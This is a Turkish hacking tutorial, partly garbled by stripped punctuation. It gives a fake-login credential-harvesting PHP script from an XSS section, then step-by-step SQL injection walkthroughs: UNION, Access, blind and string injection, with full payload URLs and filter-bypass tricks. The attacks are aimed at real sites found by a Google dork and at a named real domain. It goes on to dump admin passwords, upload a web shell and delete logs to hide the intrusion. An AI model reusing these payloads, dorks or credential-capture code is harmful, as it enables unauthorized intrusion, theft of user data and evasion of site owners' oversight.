centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
